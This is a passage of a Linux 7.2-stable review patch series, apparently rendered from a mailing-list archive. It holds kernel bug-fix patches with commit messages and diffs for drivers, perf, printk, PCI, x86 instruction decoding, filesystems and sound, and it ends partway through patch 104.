Fix by moving devm_gpiochip_add_data() after the IRQ domain and generic irq chip are fully initialized, ensuring port->domain and the irq chip handlers are ready before the chip becomes visible to consumers.
--- drivers/gpio/gpio-mxc.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-)
drivers/gpio/gpio-mxc.c +9 -4
@@ -500,10 +500,6 @@ static int mxc_gpio_probe(struct platform_device *pdev)else /* silence boot time warning */ port->gen_gc.gc.base =-1 ; - err =devm_gpiochip_add_data (&pdev->dev, &port->gen_gc.gc, port); -if (err) - goto out_bgio; - irq_base =devm_irq_alloc_descs (&pdev->dev,-1 ,0 ,32 ,numa_node_id ());if (irq_base <0 ) { err = irq_base;
@@ -524,6 +520,15 @@ static int mxc_gpio_probe(struct platform_device *pdev)if (err <0 ) goto out_irqdomain_remove; +/* +* Register the GPIO chip last: devm_gpiochip_add_data() makes the +* chip visible to consumers immediately, so the IRQ domain and +* generic irq chip must be ready before any to_irq() call. +*/ + err =devm_gpiochip_add_data (&pdev->dev, &port->gen_gc.gc, port); +if (err) + goto out_irqdomain_remove; +list_add_tail (&port->node, &mxc_gpio_ports);mxc_update_irq_chained_handler (port, true);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 90/242 ring-buffer: Use subbuf_order in available memory estimation
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <[email protected]>
[ Upstream commit 13d530f2daeda9493f4d07ddc5ca13e21318fbeb ]
To avoid failing in the middle of an allocation of a ring-buffer, __rb_allocate_pages() looks at the available memory estimation with si_mem_available(). Use the subbuffer order with this estimation to fail early if necessary for ring-buffers with an order > 0.
--- kernel/trace/ring_buffer.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
kernel/trace/ring_buffer.c +4 -4
@@ -2422,6 +2422,7 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer, long nr_pages, struct list_head *pages) { struct trace_buffer *buffer = cpu_buffer->buffer; +unsigned int subbuf_order = buffer->subbuf_order;struct ring_buffer_cpu_meta *meta =NULL ;struct buffer_page *bpage, *tmp;struct ring_buffer_desc *desc =NULL ;
@@ -2443,7 +2444,7 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,* not going to succeed. */ i =si_mem_available (); -if (i < nr_pages) +if (i < (nr_pages << subbuf_order))return -ENOMEM ; user_thread = current->mm !=NULL ;
@@ -2496,12 +2497,11 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer, bpage->id = i +1 ; cpu_buffer->subbuf_ids[i +1 ] = bpage; }else { - bpage->page =alloc_cpu_data (cpu_buffer->cpu, - cpu_buffer->buffer->subbuf_order); + bpage->page =alloc_cpu_data (cpu_buffer->cpu, subbuf_order);if (!bpage->page) goto free_pages; } - bpage->order = cpu_buffer->buffer->subbuf_order; + bpage->order = subbuf_order;if (user_thread &&fatal_signal_pending (current)) goto free_pages;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 91/242 net: stmmac: dwmac1000: clear the RGMII status interrupt
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Igor Velkov <[email protected]>
[ Upstream commit aa07285705f8d5bac464eb1c5b7412f8e88b91e1 ]
Since commit 2e2c878a3141 ("net: stmmac: remove SGMII/RGMII/SMII interrupt handling") nothing on the RGMII path reads GMAC_RGSMIIIS, so RGSMIIIS stays pending behind GMAC_INT_MASK from the first link change on. stmmac_resume() resets the MAC in stmmac_hw_setup(); the reset sets GMAC_INT_MASK to 0 until dwmac1000_core_init() writes the mask again, and the pending status storms the line:
dwmac_dma_interrupt: unexpected status 04000000
A register dump at the first message on ODROID-HC4 showed it:
core int_status 00000001 int_mask 00000000 pmt 00000000 rgsmiiis 0000000d
When the resume thread runs on the CPU that takes the MAC interrupt, the storm starves it: a soft lockup, then a watchdog reset or a hang.
Read GMAC_RGSMIIIS in dwmac1000_irq_status() when the status is not masked, as the driver did before 2e2c878a3141; the read clears it.
Wake-on-LAN resume from s2idle with the resume thread and the MAC interrupt on one CPU: Helios64 (dwmac-rk), 7.3-rc6, soft-locked in 3 of 3 resumes without a fix and in 0 of 10 with this patch; it ran with an out-of-tree dwmac-rk change that keeps the GMAC powered across suspend. ODROID-HC4 (dwmac-meson8b): 0 of 10 with this patch, 2 of 2 without a fix on a 7.3-rc5 build. irq_rgmii_n went up by one per resume.
--- drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c | 6 ++++++ 1 file changed, 6 insertions(+)
drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c +6 -0
@@ -312,6 +312,12 @@ static int dwmac1000_irq_status(struct stmmac_priv *priv,if (intr_status & (PCS_ANE_IRQ |PCS_LINK_IRQ ))stmmac_integrated_pcs_irq (priv, intr_status, x); +/* Reading RGSMIIIS clears the interrupt the MAC reset unmasks. */ +if (intr_status &PCS_RGSMIIIS_IRQ ) { +readl (ioaddr +GMAC_RGSMIIIS ); + x->irq_rgmii_n++; + } +return ret; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 92/242 perf/x86/intel/uncore: Fix DMR CXL CM invert filter
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Guixiong Wei <[email protected]>
[ Upstream commit cf1f186e08dadb5abc4410d10fe3ada7ebf801ae ]
The DMR CXL CM PMU places its invert filter at config bit 21 and its 9-bit threshold at bits 23-31. However, dmr_uncore_cxlcm uses GENERIC_PMON_RAW_EVENT_MASK, which covers the threshold through the generic bit 23 invert field and bits 24-31 threshold field, but does not include the relocated invert bit. As a result, uncore_pmu_event_init() silently clears bit 21 and inv=1 programs the same configuration as inv=0.
Add bit 21 to a DMR CXL CM-specific event mask so the requested invert filter reaches hardware.
--- arch/x86/events/intel/uncore_snbep.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
arch/x86/events/intel/uncore_snbep.c +4 -1
@@ -474,6 +474,9 @@/* DMR */ #define DMR_IMH1_HIOP_MMIO_BASE 0x1ffff6ae7000#define DMR_HIOP_MMIO_SIZE 0x8000 +#define DMR_CXLCM_PMON_CTL_INVERT BIT(21) +#define DMR_CXLCM_PMON_RAW_EVENT_MASK (GENERIC_PMON_RAW_EVENT_MASK | \ + DMR_CXLCM_PMON_CTL_INVERT)#define DMR_CXLCM_EVENT_MASK_EXT 0xf#define DMR_HAMVF_EVENT_MASK_EXT 0xffffffff#define DMR_PCIE4_EVENT_MASK_EXT 0xffffff
@@ -6696,7 +6699,7 @@ static struct event_constraint dmr_uncore_cxlcm_constraints[] = {static struct intel_uncore_type dmr_uncore_cxlcm = { .name ="cxlcm" , - .event_mask =GENERIC_PMON_RAW_EVENT_MASK , + .event_mask =DMR_CXLCM_PMON_RAW_EVENT_MASK , .event_mask_ext =DMR_CXLCM_EVENT_MASK_EXT , .constraints = dmr_uncore_cxlcm_constraints, .format_group = &dmr_cxlcm_uncore_format_group,
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 93/242 perf: Fix perf_pmu_migrate_context() leaving events behind
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Haris Okanovic <[email protected]>
[ Upstream commit e76b36b4be7160eaa14b416681e548b125702395 ]
__perf_pmu_remove() walks the group leaders of a CPU and PMU with perf_event_groups_for_cpu_pmu(), removing each one as it goes. perf_remove_from_context() takes the leader out of the groups rbtree, after which rb_next() on that node returns NULL, prematurely ending the walk. Other groups stay behind in the source context.
On CPU hotplug, they are then torn down with the dying CPU. They keep running until teardown, while the PMU's interrupt and migrated events are on a new CPU, which drivers rely on never happening.
Walk ctx->event_list instead and pick out the PMU's events by their pmu_ctx.
--- kernel/events/core.c | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-)
kernel/events/core.c +7 -13
@@ -14370,23 +14370,18 @@ perf_event_create_kernel_counter(struct perf_event_attr *attr, int cpu, }EXPORT_SYMBOL_GPL (perf_event_create_kernel_counter); -static void __perf_pmu_remove (struct perf_event_context *ctx, -int cpu,struct pmu *pmu, -struct perf_event_groups *groups, +static void __perf_pmu_remove (struct perf_event_context *ctx,struct pmu *pmu,struct list_head *events) { -struct perf_event *event, *sibling; +struct perf_event *event, *tmp; + +list_for_each_entry_safe (event, tmp, &ctx->event_list, event_entry) { +if (event->pmu_ctx->pmu != pmu) +continue ; - perf_event_groups_for_cpu_pmu(event, groups, cpu, pmu) {perf_remove_from_context (event,0 );put_pmu_ctx (event->pmu_ctx);list_add (&event->migrate_entry, events); - -for_each_sibling_event (sibling, event) { -perf_remove_from_context (sibling,0 ); -put_pmu_ctx (sibling->pmu_ctx); -list_add (&sibling->migrate_entry, events); - } } }
@@ -14462,8 +14457,7 @@ void perf_pmu_migrate_context(struct pmu *pmu, int src_cpu, int dst_cpu)*/ mutex_lock_double (&src_ctx->mutex, &dst_ctx->mutex); -__perf_pmu_remove (src_ctx, src_cpu, pmu, &src_ctx->pinned_groups, &events); -__perf_pmu_remove (src_ctx, src_cpu, pmu, &src_ctx->flexible_groups, &events); +__perf_pmu_remove (src_ctx, pmu, &events);if (!list_empty (&events)) {/*
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 94/242 printk: Postpone kthread startup
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: John Ogness <[email protected]>
[ Upstream commit 5f339c46f153184570f16c8e789c9709b14cbe8b ]
There have been various bug reports related to SMP systems hanging on boot. The reports vary but seem to have some overlap with regard to missed IPI's during SMP setup. The reports also show that reverting NBCON console usage allows the bugs to disappear.
The NBCON kthreads for console printing are started very early during boot using early_initcall(). Since these kthreads are asynchronously enabling/disabling interrupts during early boot, they may be interfering with early SMP setup on some hardware platforms.
Starting the console printing kthreads later has shown to avoid the hanging on systems that could previously reproduce the issue.
Postpone kthread starting until after all arch initcalls have completed.
--- kernel/printk/printk.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
kernel/printk/printk.c +1 -1
@@ -3862,7 +3862,7 @@ static int __init printk_set_kthreads_ready(void) return 0; } -early_initcall (printk_set_kthreads_ready); +subsys_initcall (printk_set_kthreads_ready);#endif /* CONFIG_PRINTK */ static int __read_mostly keep_bootcon;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 95/242 PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Gruhlke <[email protected]>
[ Upstream commit 0f8b5d90d179b9639be1dbeff59d6d971e6b0527 ]
The Samsung 990 PRO [144d:a80c] advertises Immediate Readiness, so pcie_flr() doesn't wait after FLR, but the drive returns ~0 for up to 7 ms. Since commit 10baa9b4df40 ("PCI: Drop unnecessary retries when restoring BARs"), the config restore after FLR is lost, which breaks VFIO passthrough of the drive. Firmware 8B2QJXD7 responds right after FLR, but older firmware such as 1B2QJXD7 doesn't, and the firmware version isn't visible here.
[bhelgaas: The Samsung 990 EVO Plus [144d:a80d] with 2B2QKXG7 firmware seems to have the same problem.]
Ignore Immediate Readiness on these devices, so pcie_flr() waits.
[bhelgaas: squashed in Samsung 990 EVO Plus from
https://lore.kernel.org/all/[email protected]]
--- drivers/pci/quirks.c | 12 ++++++++++++ 1 file changed, 12 insertions(+)
drivers/pci/quirks.c +12 -0
@@ -5623,6 +5623,18 @@ static void quirk_no_flr_snet(struct pci_dev *dev) }DECLARE_PCI_FIXUP_EARLY (PCI_VENDOR_ID_SOLIDRUN ,0x1000 , quirk_no_flr_snet); +/* Some Samsung SSDs advertise Immediate Readiness but aren't ready after FLR */ +static void quirk_no_imm_ready (struct pci_dev *dev) +{ +if (!dev->imm_ready) +return ; + +pci_info (dev,"Ignoring incorrectly advertised Immediate Readiness support\n" ); + dev->imm_ready =0 ; +} +DECLARE_PCI_FIXUP_FINAL (PCI_VENDOR_ID_SAMSUNG ,0xa80c , quirk_no_imm_ready); +DECLARE_PCI_FIXUP_FINAL (PCI_VENDOR_ID_SAMSUNG ,0xa80d , quirk_no_imm_ready); +static void quirk_no_ext_tags (struct pci_dev *pdev) {struct pci_host_bridge *bridge =pci_find_host_bridge (pdev->bus);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 96/242 PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Gruhlke <[email protected]>
[ Upstream commit e8df1d194c39b7a5159d570798941851f70a8668 ]
With RRS Software Visibility, pci_dev_wait() considers a device ready as soon as reading the Vendor ID doesn't return the RRS value. Devices aren't required to respond with RRS while they aren't ready, so the read may return ~0 and pci_dev_wait() stops waiting too early. This was seen with Intel [8086:0a54] and Samsung [144d:a80c] NVMe SSDs.
Also wait while the Vendor ID reads ~0. A VF's Vendor ID always reads ~0, so check its Command register instead, as is done without RRS SV.
--- drivers/pci/pci.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-)
drivers/pci/pci.c +11 -4
@@ -1213,9 +1213,11 @@ static int pci_dev_wait(struct pci_dev *dev, char *reset_type, int timeout)* initialize. * * If the device is below a Root Port with Configuration RRS -* Software Visibility enabled, reading the Vendor ID returns a +* Software Visibility enabled, reading the Vendor ID may return a * special data value if the device responded with RRS. Read the -* Vendor ID until we get non-RRS status. +* Vendor ID until we get non-RRS status and something other than +* ~0. The Vendor ID of VFs reads ~0, so check their Command +* register instead. * * If there's no Root Port or Configuration RRS Software Visibility * is not enabled, the device may still respond with RRS, but
@@ -1235,8 +1237,13 @@ static int pci_dev_wait(struct pci_dev *dev, char *reset_type, int timeout)if (root && root->config_rrs_sv) {pci_read_config_dword (dev,PCI_VENDOR_ID , &id); -if (!pci_bus_rrs_vendor_id (id)) -break ; +if (!pci_bus_rrs_vendor_id (id)) { +if (PCI_POSSIBLE_ERROR (id) && dev->is_virtfn) +pci_read_config_dword (dev,PCI_COMMAND , + &id); +if (!PCI_POSSIBLE_ERROR (id)) +break ; + } }else {pci_read_config_dword (dev,PCI_COMMAND , &id);if (!PCI_POSSIBLE_ERROR (id))
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 97/242 x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lukas Zobernig <[email protected]>
[ Upstream commit 32c52ec87d6245ee2d12ed5dd509e40062939b50 ]
Commit 45e1dccc0653 ("x86/insn: Simplify for_each_insn_prefix()") made for_each_insn_prefix() declare its own loop counter named idx. get_seg_reg_override_idx() keeps its result in a local of the same name, so the assignments in the loop body now write the loop counter:
- the function always returns INAT_SEG_REG_DEFAULT, so FS and GS overrides are ignored;
- a CS override sets the counter to INAT_SEG_REG_CS (2), the increment makes it 3, and prefixes.bytes[3] holds the last prefix, 0x2e again, so the loop never terminates.
The UMIP emulation reaches this from the #GP handler for user space: an SGDT, SIDT or SMSW with a memory operand and a CS prefix leaves the task spinning in the kernel, never returning to user space, with a SIGKILL that is never delivered. Any user can thus tie up CPUs until reboot. With an FS or GS prefix, the emulated result is written to the wrong address.
Rename the internal macro iterator variable.
[ Lukas' original patch renamed the use site, I changed it to rename the
iterator in the macro instead, but left Lukas' commit message and
authorship - Linus ]
--- arch/x86/include/asm/insn.h | 2 +- tools/arch/x86/include/asm/insn.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-)
arch/x86/include/asm/insn.h +1 -1
@@ -321,7 +321,7 @@ static inline int insn_offset_immediate(struct insn *insn)* are repeated, it cannot be used for looping over the prefixes. */ #define for_each_insn_prefix (insn, prefix) \ - for (int idx = 0; idx < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[idx]) != 0; idx++) + for (int __i = 0; __i < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[__i]) != 0; __i++)#define POP_SS_OPCODE 0x1f#define MOV_SREG_OPCODE 0x8e
tools/arch/x86/include/asm/insn.h +1 -1
@@ -321,7 +321,7 @@ static inline int insn_offset_immediate(struct insn *insn)* are repeated, it cannot be used for looping over the prefixes. */ #define for_each_insn_prefix (insn, prefix) \ - for (int idx = 0; idx < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[idx]) != 0; idx++) + for (int __i = 0; __i < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[__i]) != 0; __i++)#define POP_SS_OPCODE 0x1f#define MOV_SREG_OPCODE 0x8e
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 98/242 firewire: core: fix race condition in split transaction handling
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Takashi Sakamoto <[email protected]>
[ Upstream commit 7f9f2d6abc40f79e802b4063859eda343043b85c ]
For a split transaction, either fw_core_handle_response() or split_transaction_timeout_callback() may manipulate the same transaction entry in the pending transaction list. The return value of timer_delete() is used to determine which function handles the entry. If the transaction is a split transaction and timer_delete() returns zero, the timeout callback may already be running. In this case, the response handler must leave the entry in the list for the timeout callback to remove.
A previous code refactoring broke this behavior, introducing a race condition in which both functions could process the same transaction. This could lead to a use-after-free on the transaction initiator side.
Fix the regression by ensuring that the response handler does not process the transaction when timer_delete() returns zero. The timeout callback is responsible for removing the entry from the pending transaction list.
--- drivers/firewire/core-transaction.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)
drivers/firewire/core-transaction.c +6 -2
@@ -89,8 +89,12 @@ void fw_cancel_pending_transactions(struct fw_card *card)break ; \ } \ } \ -if (t &&try_cancel_split_timeout (t)) \ -remove_transaction_entry (card, t); \ +if (t) { \ +if (try_cancel_split_timeout (t)) \ +remove_transaction_entry (card, t); \ +else \ + t =NULL ; \ + } \ t; \ })
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 99/242 9p: free the session after a grace period
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit bcec7fc2e224088daf94448d663b02e0d0b9c717 upstream.
v9fs_vfs_get_link_dotl() reads ->cache from the v9fs_session_info in sb->s_fs_info to decide whether the symlink target sits in the page cache. It does that before it looks at the dentry, so it also does it in rcu pathwalk mode. Without loose or metadata caching the dentries have no ->d_revalidate() that would make the walk leave rcu mode before it gets there.
v9fs_kill_super() frees the session and clears sb->s_fs_info without waiting for a grace period. Right now a pathwalk can't still be in v9fs_vfs_get_link_dotl() at that point, but only by accident. umount(2) waits for a grace period in namespace_unlock() before it drops the mount. And a mount whose last reference goes away elsewhere, like the chdir out of a lazily unmounted directory, still gets a grace period from bdi_unregister(). v9fs_fill_super() sets up a private bdi, so generic_shutdown_super() unregisters it from kill_anon_super() and bdi_remove_from_list() waits in synchronize_rcu_expedited() before v9fs_kill_super() frees the session. That grace period protects the rcu readers of bdi_list in the writeback code. It has nothing to do with pathwalk.
Don't rely on it. Keep sb->s_fs_info and free the session after a grace period.
--- fs/9p/v9fs.h | 1 + fs/9p/vfs_super.c | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-)
fs/9p/v9fs.h +1 -0
@@ -137,6 +137,7 @@ struct v9fs_session_info {struct list_head slist;/* list of sessions registered with v9fs */ struct rw_semaphore rename_sem;long session_lock_timeout;/* retry interval for blocking locks */ +struct rcu_head rcu;/* v9fs_vfs_get_link_dotl() reads ->cache in rcu pathwalk */ };#define NDENTRY_TIMEOUT_NEVER (-1U)
fs/9p/vfs_super.c +2 -2
@@ -173,8 +173,8 @@ static void v9fs_kill_super(struct super_block *s)v9fs_session_cancel (v9ses);v9fs_session_close (v9ses); -kfree (v9ses); - s->s_fs_info =NULL ; +/* v9fs_vfs_get_link_dotl() may still read ->cache in rcu pathwalk */ +kfree_rcu (v9ses, rcu);p9_debug (P9_DEBUG_VFS ,"exiting kill_super\n" ); }
Signature · 1 line
2.56.0
Greg Kroah-Hartman
maintainerPATCH 100/242 accel/rocket: search every core slot when a core is removed
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Igor Paunovic <[email protected]>
commit 6eff1d69dae808a1518aee5a58d0853a8db3f1be upstream.
rocket_remove() decrements rdev->num_cores for each core it removes, while find_core_for_dev() searches slots 0 to num_cores - 1. Unbinding the cores in the order they were bound therefore loses the last one: by the time it is removed the search range has already shrunk past its slot, so find_core_for_dev() returns -1 and rocket_remove() gives up without doing anything.
num_cores never reaches zero, rocket_device_fini() never runs, and the file-scoped rdev keeps pointing at a device that is going away. Binding the cores again starts from that stale count, because rocket_probe() takes rdev->num_cores as the slot to fill. On an RK3588, which describes three cores, the second round lands on slots 1, 2 and 3 while rdev->cores was allocated with room for three:
rocket fdab0000.npu: Rockchip NPU core 1 version: 1179210309 rocket fdac0000.npu: Rockchip NPU core 2 version: 1179210309 rocket fdad0000.npu: Rockchip NPU core 3 version: 1179210309
The write to rdev->cores[3] is past the end of the array.
Nothing in tree reads the core array often enough to notice, so the overrun is silent today. It turned up while testing a devfreq series on top of this, where a worker walks every core a few times a second, and UBSAN caught the first bool it read out of the overrun entry:
UBSAN: invalid-load in drivers/accel/rocket/rocket_devfreq.c:47:10 load of value 5 is not a valid value for type '_Bool' Workqueue: devfreq_wq devfreq_monitor
Record how many slots were allocated and search all of them. Every core is then found on removal, num_cores reaches zero, the device is torn down and a later bind starts from a clean rdev.
This does not make unbinding a single core out of several work. probe still takes num_cores as the slot to fill, so rebinding one core while its siblings stay bound would write over a slot that is already in use, and rocket_open() still reaches for cores[0] whether or not anything is there. Both of those want more thought than a fix should carry.
Found by unbinding and rebinding all three cores on an Orange Pi 5 Plus. With this applied, 25 unbind/rebind rounds and 5 module unload/reload rounds run clean there: the cores land in slots 0, 1 and 2 every time, whichever order they are bound in, and the shared supply goes back to a single user after each round.
--- drivers/accel/rocket/rocket_device.c | 2 ++ drivers/accel/rocket/rocket_device.h | 1 + drivers/accel/rocket/rocket_drv.c | 2 +- 3 files changed, 4 insertions(+), 1 deletion(-)
drivers/accel/rocket/rocket_device.c +2 -0
@@ -31,6 +31,8 @@ struct rocket_device *rocket_device_initif (of_device_is_available (core_node)) num_cores++; + rdev->max_cores = num_cores; + rdev->cores =devm_kcalloc (dev, num_cores,sizeof (*rdev->cores),GFP_KERNEL );if (!rdev->cores)return ERR_PTR (-ENOMEM );
drivers/accel/rocket/rocket_device.h +1 -0
@@ -19,6 +19,7 @@ struct rocket_device {struct rocket_core *cores;unsigned int num_cores; +unsigned int max_cores; }; struct rocket_device *rocket_device_init(struct platform_device *pdev,
drivers/accel/rocket/rocket_drv.c +1 -1
@@ -226,7 +226,7 @@ static int find_core_for_dev(struct devi {struct rocket_device *rdev =dev_get_drvdata (dev); -for (unsigned int core =0 ; core < rdev->num_cores; core++) { +for (unsigned int core =0 ; core < rdev->max_cores; core++) {if (dev == rdev->cores[core].dev)return core; }
Greg Kroah-Hartman
maintainerPATCH 101/242 accel/rocket: search every core slot when looking up a scheduler
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Igor Paunovic <[email protected]>
commit 89c2c777df17eb0201c8e22afabbf3691f2a28fe upstream.
sched_to_core() walks rdev->cores[] up to rdev->num_cores, and rocket_remove() decrements num_cores for every core it removes. Unbind a core that is not the last one and the cores behind it fall outside the search, so sched_to_core() returns NULL for a core that is still bound and still running jobs. Neither caller checks the result:
rocket_job_run(): rocket_fence_create(core), core->dev
rocket_job_timedout(): dev_err(core->dev, "NPU job timed out")
Unbinding the middle core of the three on an RK3588 while three clients are submitting to all of them faults twice, once from the surviving core's job queue and once from its reset work:
KASAN: null-ptr-deref in range [0x0000000000000220-0x0000000000000227] Workqueue: fdad0000.npu drm_sched_run_job_work [gpu_sched] pc : rocket_job_run+0x234/0x838 [rocket] Call trace: rocket_job_run+0x234/0x838 [rocket] drm_sched_run_job_work+0x2cc/0xad8 [gpu_sched] process_one_work+0x640/0x14f0 KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] Workqueue: rocket-reset-2 drm_sched_job_timedout [gpu_sched] pc : rocket_job_timedout+0xf0/0x1e0 [rocket] Call trace: rocket_job_timedout+0xf0/0x1e0 [rocket] drm_sched_job_timedout+0x188/0x6a0 [gpu_sched]
Both are the third core: the workqueue names are its device and its core->index, and it was left at slot 2 while num_cores had dropped to 2.
Search all the slots that were allocated, the way find_core_for_dev() now does. A core that is still bound is then found, and the two callers get the pointer they already assume they have.
This does not make unbinding one core out of several safe. An open client keeps an entity pointing at the scheduler of the core that went away:drm_sched reports it as not ready for every job that lands on it, and the client waits in dma_fence_default_wait for a fence that will never signal. Stopping the NULL dereference is what belongs in a fix; the rest wants more thought.
--- drivers/accel/rocket/rocket_job.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/accel/rocket/rocket_job.c +1 -1
@@ -283,7 +283,7 @@ static struct rocket_core *sched_to_core(struct rocket_device *rdev, {unsigned int core; -for (core =0 ; core < rdev->num_cores; core++) { +for (core =0 ; core < rdev->max_cores; core++) {if (&rdev->cores[core].sched == sched)return &rdev->cores[core]; }
Signature · 1 line
2.56.0
Greg Kroah-Hartman
maintainerPATCH 102/242 afs: free the super info after a grace period
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit 59e483739f2fd14327ece3f60c4995d060ca46b7 upstream.
afs_atcell_get_link() resolves the @cell and .@cell symlinks of a dynamic root in rcu pathwalk mode. Before it looks at the dentry it gets the afs_net through afs_i2net(), which reads ->net_ns from the afs_super_info in sb->s_fs_info. The @cell dentries are kept around when unused and the dynamic root has no ->d_revalidate(), so a lookup that finds @cell in the dcache gets to ->get_link() in rcu mode.
afs_kill_super() frees the afs_super_info with a plain kfree() in afs_destroy_sbi(). Right now a pathwalk can't still be in afs_atcell_get_link() at that point, but only by accident. umount(2) waits for a grace period in namespace_unlock() before it drops the mount. And a mount whose last reference goes away elsewhere, like the chdir out of a lazily unmounted directory, still gets a grace period from bdi_unregister(). afs_fill_super() sets up a private bdi, so generic_shutdown_super() unregisters it from kill_anon_super() and bdi_remove_from_list() waits in synchronize_rcu_expedited() before afs_destroy_sbi() runs. That grace period protects the rcu readers of bdi_list in the writeback code. It has nothing to do with pathwalk.
Don't rely on it and free the afs_super_info after a grace period.
--- fs/afs/internal.h | 2 ++ fs/afs/super.c | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-)
fs/afs/internal.h +2 -0
@@ -251,6 +251,8 @@ struct afs_super_info {struct afs_volume *volume;/* volume record */ enum afs_flock_mode flock_mode:8; /* File locking emulation mode */bool dyn_root;/* True if dynamic root */ +/* afs_atcell_get_link() reads ->net_ns in rcu pathwalk */ +struct rcu_head rcu; };static inline struct afs_super_info *AFS_FS_S (struct super_block *sb)
fs/afs/super.c +1 -1
@@ -523,7 +523,7 @@ static void afs_destroy_sbi(struct afs_safs_put_volume (as->volume, afs_volume_trace_put_destroy_sbi);afs_unuse_cell (as->cell, afs_cell_trace_unuse_sbi);put_net (as->net_ns); -kfree (as); +kfree_rcu (as, rcu); } }
Greg Kroah-Hartman
maintainerPATCH 103/242 ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peter Ujfalusi <[email protected]>
commit 746de48c3a250f0c264105dcbfcdf0c5001e970b upstream.
When ch_count is smaller than blob->alh_cfg.device_count (e.g. a mono capture stream, such as a SmartMic, aggregated across multiple SDW links), step = ch_count / blob->alh_cfg.device_count truncates to 0. The subsequent GENMASK(step - 1, 0) then underflows step - 1 (u32) to UINT_MAX, causing GENMASK()'s internal shift to use an out-of-bounds exponent:
UBSAN: shift-out-of-bounds in sound/soc/sof/ipc4-topology.c:2363:13 shift exponent 18446744069414584384 is too large for 64-bit type 'long unsigned int'
Treat ch_count < device_count the same way as the existing "channels equal to output reference channels" case: apply the same ch_mask to every aggregated device instead of trying to split channels that can't be evenly divided.
--- sound/soc/sof/ipc4-topology.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-)
sound/soc/sof/ipc4-topology.c +6 -3
@@ -2352,11 +2352,14 @@ sof_ipc4_prepare_copier_module(struct sn ch_map >>=4 ; } -if (swidget->id == snd_soc_dapm_dai_in && ch_count == out_ref_channels) { +if ((swidget->id == snd_soc_dapm_dai_in && ch_count == out_ref_channels) || + ch_count < blob->alh_cfg.device_count) {/* * For playback DAI widgets where the channel number is equal to -* the output reference channels, set the step = 0 to ensure all -* the ch_mask is applied to all alh mappings. +* the output reference channels, or when there are fewer +* channels than aggregated devices (e.g. a mono capture +* stream split across multiple links), set step = 0 to +* ensure all the ch_mask is applied to all alh mappings. */ mask = ch_mask; step =0 ;
Greg Kroah-Hartman
maintainerPATCH 104/242 ASoC: SOF: sof-client: Use event-handler mutex consistently
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peter Ujfalusi <[email protected]>
commit f90f8afb61beb268ca8092e7f3a826b520d3e8da upstream.
Protect IPC RX and FW state handler list unregister/dispatch paths with client_event_handler_mutex to match list registration and locking comments.
--- sound/soc/sof/sof-client.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
sound/soc/sof/sof-client.c +3 -3
